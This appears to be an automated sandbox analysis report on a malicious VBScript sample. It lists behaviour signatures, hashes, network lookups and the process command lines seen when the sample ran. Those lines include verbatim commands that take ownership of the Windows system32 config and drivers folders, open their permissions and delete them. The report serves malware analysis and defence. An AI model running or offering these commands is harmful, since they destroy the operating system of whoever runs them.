Analysis Overview
SHA256
92a5545652c35328d20dc8bb70348ebda3b1eb49b1c0f111976ab3912de1801a
Threat Level: Likely malicious
The file script.vbs was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Modifies file permissions
Checks computer location settings
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-15 21:30
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-15 21:30
Reported
2024-08-15 21:33
Platform
win7-20240708-en
Max time kernel
119s
Max time network
126s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "copy C:\Users\Admin\AppData\Local\Temp\script.wsf thescript.vbs && start thescript.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\thescript.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\config\*
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\drivers\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\config\* /grant everyone:(f)
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\drivers\* /grant everyone:(f)
C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T
Network
Files
C:\Users\Admin\AppData\Local\Temp\thescript.vbs
| MD5 | cef6ac1c7b72212cb9b26421ba748362 |
| SHA1 | 05858a591fc90a1af835454aee11b7d893649517 |
| SHA256 | 92a5545652c35328d20dc8bb70348ebda3b1eb49b1c0f111976ab3912de1801a |
| SHA512 | 435bcf3fa63381455db93dc4f13be02a276e351721a726fcea1c5a2ef93037e09bac09c5dbaf76b1ceb9e97a39d360a73fd9a7316f32b1c582e4bc738fe21e1c |
C:\Users\Admin\Desktop\DebugPublish.vbs
| MD5 | 4b91264568ac2162700be36338c095e8 |
| SHA1 | c95726edf8303e6adabcb12ffdca90b51349990a |
| SHA256 | 2c8545e54e8fbc28791314d7327886237c66b70640d069f276a35b6c3322c037 |
| SHA512 | e57319453e5da3407ccc77cb3ee6200592e1916932cae467bbf77722f3ff49e5853b4b4d2eeb3092dbb2e22346f56617cc785744771bb3648bf4561feb0e9e1b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-15 21:30
Reported
2024-08-15 21:33
Platform
win10v2004-20240802-en
Max time kernel
149s
Max time network
157s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings | C:\Windows\system32\cmd.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "copy C:\Users\Admin\AppData\Local\Temp\script.wsf thescript.vbs && start thescript.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\thescript.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\config\*
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\drivers\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\config\* /grant everyone:(f)
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\drivers\* /grant everyone:(f)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 25.140.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 68.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 192.142.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\thescript.vbs
| MD5 | cef6ac1c7b72212cb9b26421ba748362 |
| SHA1 | 05858a591fc90a1af835454aee11b7d893649517 |
| SHA256 | 92a5545652c35328d20dc8bb70348ebda3b1eb49b1c0f111976ab3912de1801a |
| SHA512 | 435bcf3fa63381455db93dc4f13be02a276e351721a726fcea1c5a2ef93037e09bac09c5dbaf76b1ceb9e97a39d360a73fd9a7316f32b1c582e4bc738fe21e1c |